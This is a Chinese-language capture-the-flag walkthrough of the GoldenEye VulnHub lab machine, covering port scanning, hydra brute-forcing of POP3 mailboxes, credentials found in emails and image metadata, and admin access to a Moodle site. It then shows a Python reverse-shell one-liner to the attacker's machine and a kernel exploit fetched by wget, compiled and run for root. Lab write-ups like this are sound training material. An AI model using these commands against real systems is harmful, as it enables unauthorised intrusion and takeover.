下载靶机 地址

GoldenEye: 1 ~ VulnHub

用net网络连接

搭建好靶机之后可以开始了

打开kali

使用nmap定位靶机

nmap -sP 192.168.153.0/24

扫描当前网段内的主机

定位后得知是192.168.153.131这个ip

打开msf

Msfcpnsole

启动msf自带数据库postgresql方便使用nmap进行记录

sudo systemctl start postgresql

让postgresql数据库与msf建立连接

db_connect postgres:toor@127.0.0.1/msf

数据库连接启动nmap

db_nmap -A -p-              尽可能扫描所有端口

扫出结果 使用services 192.168.153.131命令方便调出想要的结果

25 smtp端口服务 邮件传输协议 / open smtp（简单邮件传输服务）

80 apache服务2.4.7 Ubuntu系统 / open http（超文本传输协议）

55006/tcp ssl保密协议 /open ssl/pop3（pop3被用户代理用来邮件服务器取得邮件

55007/tcp pop3服务 邮局协议 / open pop3

在80端口在terminal.js这个文件页面上发现一段注释

http://192.168.153.131/

//

//Boris, make sure you update your default password.

//My sources say MI6 maybe planning to infiltrate.

//Be on the lookout for any suspicious network traffic....

//

//I encoded you p@ssword below...

//

//InvincibleHack3r

//

//BTW Natalya says she can break your codes

//

知道两个人的名字和一串由h5编码的密码

//InvincibleHack3r

这一段解出是

InvincibleHack3r

名字Boris ，Natalya

根据80端口主页进入一个新页面

http://192.168.153.131/sev-home/

使用账号 boris  密码 InvincibleHack3r  进入发现一段话

Qualified GoldenEye Network Operator Supervisors:

Natalya

Boris

接着爆破55007邮件协议试试

接着打开九头蛇 进行55007 pop3 爆破邮箱    使用的是fasttrack.txt字典

这个字典它包含大量常见的密码。密码字典文件通常被用来破解用户名/密码组合。

sudo hydra -l boris -P /usr/share/wordlists/fasttrack.txt 192.168.153.131 -s 55007 pop3

sudo hydra -l Natalya -P /usr/share/wordlists/fasttrack.txt 192.168.153.131 -s 55007 pop3

爆破出

[55007][pop3] host: 192.168.153.131   login: boris   password: secret1!

[55007][pop3] host: 192.168.153.131   login: Natalya   password: bird

尝试nc登录

nc 192.168.153.131 55007

user boris

pass secret1!

登陆成功！

接着用foxmail登录方便查看

从natalya邮件中发现一个网站

这是一段对话

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :) Ok, user creds are: username: xenia password: RCP90rulez! Boris verified her as a valid contractor so just create the account ok? And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir **Make sure to edit your host file since you usually work remote off-network.... Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

翻译过来

好的，娜塔琳，我有一个新的学生给你。由于这是一个新系统，如果您看到任何配置问题，请告诉我或鲍里斯，尤其是它与安全性有关......即使不是，也只需打着“安全”的幌子输入即可......它会毫不费力地升级变更单:) 好的，用户信条是： 用户名： 森雅 密码：RCP90规则！ 鲍里斯验证她是有效的承包商，所以只需创建帐户即可？ 如果您在外部内部域上没有URL：severnaya-station.com/gnocertdir **确保编辑您的主机文件，因为您通常在网络外远程工作。 由于您是 Linux 用户，只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

用linux绑定hosts

Vim  /etc/hosts

靶机ip  severnaya-station.com

绑定完成后打开severnaya-station.com/gnocertdir这个网页

找到登录页面

使用上面的用户名密码进行登录

登录之后发现一段对话

网站中又发现一个人物邮箱

意思是让我们对doak这个邮箱尝试爆破

User:doak

这里我们接着用九头蛇尝试爆破

sudo hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.153.131 -s 55007 pop3  不得不说九头蛇真的香

55007][pop3] host: 192.168.153.131   login: doak   password: goat

爆破出账号密码对该邮箱进行登录

如果要用nc登录的话这里说一下常见的pop3命令

登录到 POP3 服务器后，可以使用各种命令来检索和管理电子邮件。一些常见的 POP3 命令包括：

这里登录后发现

一封邮件

James,

If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak

password: 4England!

翻译过来

詹姆斯 如果您正在阅读本文，恭喜您已经走到了这一步。你知道贸易是如何运作的吗？ 因为我没有。转到我们的培训网站并登录到我的帐户。挖掘直到您可以泄露更多信息...... 用户名： dr_doak 密码：4英格兰！

使用上面账号密码接着登录之前的培训网站查找线索

找到通过联系人看到离线联系人是网站管理员

找到doak的文件夹里面有一个txt文本

我们下载下来看看是什么玩意

007,

I was able to capture this apps adm1n cr3ds through clear txt.

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

翻译

007, 我能够通过清除txt捕获此应用程序adm1n cr3ds。 黄金眼服务器中大多数 Web 应用程序中的文本都会被扫描，所以我无法在此处添加 cr3dentials。 这里有一些多汁的东西：/dir007key/for-007.jpg 此外，您可能知道，RCP-90 远远优于任何其他武器，杀戮许可证是唯一的游戏方式。

是一张图片的地址

尝试把他加进ip里面

沙雕游戏图片真是沙雕作者

查看属性看看有什么线索

哦哇靠！看到一串代码将他base64解码

eFdpbnRlcjE5OTV4IQ==

解码成！

xWinter1995x!

再到回之前那个网站发现一个管理员好友

这里就有头绪了尝试

管理员登录网站看看管理员账号有没有什么可用的线索

账号admin

密码xWinter1995x!

登陆成功！

接下来就是拿shell咯！一路到拿shell真是太艰辛了！

根据参考文章要修改成pspellshell

提权

上传反弹式shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.153.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在反弹shell的python代码里面修改成自己的kali机ip

修改完成后

在本地开启监听端口

监听8888

nc -lvnp 8888

点击到这个页面

随便输入一些字符然后点击画圈的地方

再回到我们的kali上，发现获得了权限

查看服务器日志，发现最近更新，2011

到msf上找了一下moodle 没有相近的

那就whoami一下（这里给小伙伴们科普一下whoami是查询当前登录名称，跟黑客电影whoami是一样的哦！感兴趣的小伙伴可以去看看）

创建python交换式shell

python -c 'import pty; pty.spawn("/bin/bash")'

查看系统信息

uname -a

输出Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

看到系统内核版本是Linux ubuntu 3.13.0-32

查到exp为37292

searchsploit 37292

修改exp改为cc，因为靶机没有gcc

在本地打开8000端口

sudo python3 -m http.server 监听

在靶机上下载我们修改好的脚本

wget 192.168.153.128:8000/37292.c

下载好后进行编译

cc -o exp 37292.c

给exp执行权限

chmod +x exp

运行exp

./exp

查看ip看看是否成功

提权成功!

进入root目录看看有什么

cd /root

ls -al

找到flag              568628e0d993b1973adc718237da6e93

结束！

这是pop3的一些指令

• list：显示服务器上所有邮件的列表及其大小。
• retr：从服务器检索特定消息。
• dele：从服务器中删除消息。
• noop：不执行任何操作（用于保持连接处于活动状态）。
• quit：关闭连接并注销服务器。